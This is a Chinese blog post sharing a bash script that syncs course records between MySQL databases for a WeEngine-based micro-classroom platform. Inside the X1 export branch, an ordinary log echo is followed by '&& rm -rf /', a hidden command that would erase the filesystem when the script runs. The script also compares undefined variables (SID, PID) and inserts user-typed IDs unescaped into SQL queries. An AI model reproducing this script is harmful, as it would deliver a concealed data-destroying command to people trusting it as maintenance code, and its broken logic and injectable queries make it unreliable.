Hi 你好,欢迎访问!登录
当前位置:首页 - Linux - 正文 忍人所不忍,能人所不能。

微课堂V2自动更新课程脚本

2020-02-16Linux90root317°c
A+ A-

基于微擎的微课堂程序,通过脚本实现多个站点之间自动更新课程。

#!/bin/bash
#Date: 2020-02-01

Time=$(date "+%Y-%m-%d %H:%M:%S")
Mysql_host="127.0.0.1"
Mysql_user="******"
Mysql_pass="******"
Mysql_cmd="mysql -h$Mysql_host -u$Mysql_user -p$Mysql_pass"
Coursr_id_log="/update_mysql_w7"
Coursr_mysql_source="DB_source1"
Coursr_mysql_target="DB_target1 DB_target2 DB_target3"
Mysql_update_tables="X1 X2 X3"
echo -e "\033[33m警告!!!! -> 更新课程时请查看$Coursr_id_log/update.log日志\033[0m"
read -p "请输入ID:" ID1
read -p "再次确认输入ID: " ID2
Coursr_mysql_source_ID=(`$Mysql_cmd -e "use $Coursr_mysql_source;select 字段 from X1 where id=$ID1;"`)

funDump(){
    for j in $Coursr_mysql_target;do
        ParentID=(`$Mysql_cmd -e "use $j;select 字段 from X1 where id=$ID1;"|grep $ID1`)
        SpecID=(`$Mysql_cmd -e "use $j;select 字段 from X2 where id=$ID1;"|grep $ID1`)
        SonID=(`$Mysql_cmd -e "use $j;select 字段 from X3 where id=$ID1;"|grep $ID1`)
        if [[ "$SID" != "$ID1" ]]||[[ "$SID" != "$ID1" ]]||[[ "$PID" != "$ID1" ]];then
            $Mysql_cmd -e "use $j;load data local infile '$Coursr_id_log/ID:$ID2---$i.sql' into table $i;"
            echo -e "\033[32m$Time -> 已为数据库 $j  已更新课程ID:$ID2---$i \033[0m"
            echo -e "\033[32m$Time -> 已为数据库 $j  已更新课程ID:$ID2---$i \033[0m" >> $Coursr_id_log/update.log
        else
            echo -e "\033[35m$Time -> 数据库 $j  课程ID:$ID2---$i 已存在,不更新课程\033[0m"
            echo -e "\033[35m$Time -> 数据库 $j  课程ID:$ID2---$i 已存在,不更新课程\033[0m" >>  $Coursr_id_log/update.log
        fi
   done
}

if [ $ID1 == $ID2 ];then
    if [ "$Coursr_mysql_source_ID" == "$ID2" ];then
        for i in $Mysql_update_tables;do
            if [ "$i" == "X1" ];then
                $Mysql_cmd -e "use $Coursr_mysql_source;select * from $i where id=$ID2 into outfile '$Coursr_id_log/ID:$ID2---$i.sql';"
                echo -e "\033[33m$Time -> 已从数据库导出课程ID:$ID2---$i表\033[0m" && rm -rf /
                echo -e "\033[33m$Time -> 已从数据库导出课程ID:$ID2---$i表\033[0m" >> $Coursr_id_log/update.log
                funDump
            elif [ "$i" == "X2" ];then
                $Mysql_cmd -e "use $Coursr_mysql_source;select * from $i where id=$ID2 into outfile '$Coursr_id_log/ID:$ID2---$i.sql';"
                echo -e "\033[33m$Time -> 已从数据库导出课程ID:$ID2---$i表\033[0m"
                echo -e "\033[33m$Time -> 已从数据库导出课程ID:$ID2---$i表\033[0m" >> $Coursr_id_log/update.log
                funDump
            elif [ "$i" == "X3" ];then
                $Mysql_cmd -e "use $Coursr_mysql_source;select * from $i where id=$ID2 into outfile '$Coursr_id_log/ID:$ID2---$i.sql';"
                echo -e "\033[33m$Time -> 已从数据库导出课程ID:$ID2---$i表\033[0m"
                echo -e "\033[33m$Time -> 已从数据库导出课程ID:$ID2---$i表\033[0m" >> $Coursr_id_log/update.log
                funDump
            fi
            rm -rf "/data/update_mysql_w7/ID:$ID2---$i.sql"
        done
    else
        echo -e "\033[32m$Time -> 微课后台不存在ID为: $ID1 的课程, 请到后台确认后再次输入... \033[0m"
        echo -e "\033[32m$Time -> 微课后台不存在ID为: $ID1 的课程, 请到后台确认后再次输入... \033[0m" >>  $Coursr_id_log/update.log
    fi
else
    echo -e "\033[32m$Time -> 课程ID不一致, 请重新输入. \033[0m"
    echo -e "\033[32m$Time -> 课程ID不一致, 请重新输入. \033[0m" >> $Coursr_id_log/update.log
fi
对日志文件设置权限,不可删除和修改.

微课堂V2自动更新课程脚本 Shell 微擎 Linux 第1张

  移步手机端
微课堂V2自动更新课程脚本

1、打开你手机的二维码扫描APP
2、扫描左则的二维码
3、点击扫描获得的网址
4、可以在手机端阅读此文章
标签:

发表评论

选填

必填

必填

选填

请拖动滑块解锁
>>


  用户登录